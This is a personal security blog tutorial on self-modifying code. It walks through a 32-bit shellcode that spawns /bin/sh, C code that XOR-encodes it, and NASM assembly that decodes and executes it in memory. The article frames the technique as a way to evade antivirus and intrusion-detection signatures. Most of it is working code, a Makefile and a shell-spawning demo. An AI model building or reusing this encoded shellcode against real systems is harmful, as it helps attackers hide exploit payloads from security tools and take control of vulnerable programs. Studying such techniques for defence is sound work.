Self Modifying Code


Posted on August, 2017

In order to understand this article you need to read this the article concerning the shellcode 32 bits

Shellcode are used to take control of a vulnerable application by redirecting the execution flow. Once a security breach is discovered an exploit is often available on the web and can be used by pentester, hacker... These kind of exploits are characterized by a certain signature, as example our shellcode is a simple series of bytes:

"\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x45\x54\x45\x48\x41\x43\x4b\x4b\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x90"

These bytes can be easy detected by AV software and IDS when they are used against an application.

So, In this article we are going to create a simple self modifying code. The first step to create a self modifying code is to cipher tour shellcode with a simple key. The idea here is not obfuscation but just signature evasion.

The shellcode can be easily ciphered with this code

#include 

     int main(void)
     {
          char shellcode[] = "\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x4a\x45\x54\x45\x48\x41\x43\x4b\x4b\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x66\x90\x90";
          int i;

          for(i = 0; i < sizeof(shellcode)-1; i++)
          {
               printf("0x%.2x,", (unsigned char)shellcode[i] ^ 0x23);
          }
          printf("\n");
          return 0;
     }
~        

After the execution our shellcode is xor encoded with the 0x23 key. Here is the result.

reglisse@debian:~/Documents/security/shellcode/self_modifying_code$ ./encode
0x7d,0x12,0xe3,0xab,0x65,0x24,0xae,0x3d,0xaa,0x7d,0x2b,0xaa,0x65,0x2f,0x93,0x28,0xaa,0xd0,0xae,0x6d,0x2b,0xae,0x75,0x2f,0xee,0xa3,0xcb,0xc2,0xdc,0xdc,0xdc,0x0c,0x41,0x4a,0x4d,0x0c,0x50,0x4b,0x69,0x66,0x77,0x66,0x6b,0x62,0x60,0x68,0x68,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0xb3

Now we have our new shellcode we can create the assembly program that will decode and run our shellcode

Here is the assembly code that will do the decryption and run the shellcode in memory

bits 32
section .text
global main

main:
        jmp short ONSTACK   (1)

GO_LOOP:

        pop esi             (3)
        xor eax, eax        (4)
        xor ebx, ebx        (5)
        mov al, 0x23        (6)

LOOP:
        cmp byte[esi+ebx], 0x90  (7)
        je SC                    (8)
        xor [esi+ebx], eax       (9)
        inc ebx                  (10)
        jmp LOOP                 (11)

ONSTACK:

        call GO_LOOP              (2)
SC:
        db 0x7d,0x12,0xe3,0xab,0x65,0x24,0xae,0x3d,0xaa,0x7d,0x2b,0xaa,0x65,0x2f,0x93,0x28,0xaa,0xd0,0xae,0x6d,0x2b,0xae,0x75,0x2f,0xee,0xa3,0xcb,0xc2,0xdc,0xdc,0xdc,0x0c,0x41,0x4a,0x4d,0x0c,0x50,0x4b,0x69,0x66,0x77,0x66,0x6b,0x62,0x60,0x68,0x68,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0x45,0xb3,0xb3,0x90

  • (1) First we jump on the ONSTACK function
  • (2) Then we call the function GO_LOOP, as a result the address of the next instruction will be pushed on the stack. (The next instruction is the beginning of our shellcode)
  • (3) We pop the top of the stack in the esi register
  • (4), (5) We initialize the eax and ebx register.
  • (6) we move the 0x23 key in the eax register.
  • (7) We arrive in the LOOP function, we compare the content of the address at esi+ebx register (The first time, it will be the first byte of the shellcode) with 0x90. You can notice that our ciphered shellcode break up with a NOP instruction.
  • (8) If (7) is true the shellcode is deciphered, we jump into the SC function (our shellcode)
  • (9) Else we xor the content of the address at esi+ebx (a ciphered byte) with eax register.
  • (10) We increase the ebx register in order to decipher the next byte
  • (11) We jump in LOOP and we continue the decryption


Here is my Makefile

all:
        gcc -m32 encoder.c -o encode
        nasm -f elf32 self_modifying.asm
        gcc -m32 --static -g -Wl,--omagic -o self_modifying self_modifying.o

Here is a demo of the self_modifying_code :)!

reglisse@debian:~/Documents/security/shellcode/self_modifying_code$ ./self_modifying
$
Presentation
Cyril Bresch is graduated from the Grenoble Institute of Technology, Esisar school in computer engineering. He is now a Phd Student within the LCIS lab from Univ. Grenoble Alps and Grenoble Institute of Technology in Valence, France. His research interests are computer security and processor architecture security.

Second place a CSAW 2k16 NYU :)
IEEE publication : "A Red Team Blue Team approach Towards a Secure Processor Design With a Hardware Shadow Stack"

You can contact me at cyril[dot]bresch[dot]fr[at]gmail[dot]com